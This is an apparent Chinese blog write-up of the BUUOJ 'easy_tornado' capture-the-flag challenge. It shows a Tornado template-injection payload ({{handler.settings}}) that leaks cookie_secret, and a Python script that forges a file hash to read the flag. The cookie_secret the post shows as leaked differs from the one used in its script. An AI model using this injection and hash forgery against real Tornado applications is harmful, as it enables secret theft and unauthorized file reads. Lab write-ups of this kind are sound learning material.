buuoj--easy_tornado

buuoj–easy_tornado

打开页面提示三个链接

/flag.txt
/welcome.txt
/hints.txt

查看flag.txt

/flag.txt
flag in /fllllllllllllag

查看welcome.txt

/welcome.txt
render

查看hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

render、tornado都是模板,提示模板注入

这是查看flag.txt的链接

18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/flag.txt&filehash=9255e92c383a4dc733893c28493c8b22

将/flag.txt修改为/fllllllllllllag报错:
在这里插入图片描述
出现msg=Error
如果修改为123
在这里插入图片描述
模板注入(https://www.jianshu.com/p/55c75e0f7928)

在tornado模板中,存在一些可以访问的快速对象,例如

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

msg={{handler.settings}} 得到cookie_secret在这里插入图片描述

‘cookie_secret’: ‘4dff6cea-5745-4572-bf7f-371994e24436’
按照hint的提示即可
脚本(https://www.cnblogs.com/mke2fs/p/11573786.html):

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369'
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

结果filehash:166f8acca84fe2652fb4f3ba912fa6b1
payload:
18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=166f8acca84fe2652fb4f3ba912fa6b1
回显flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值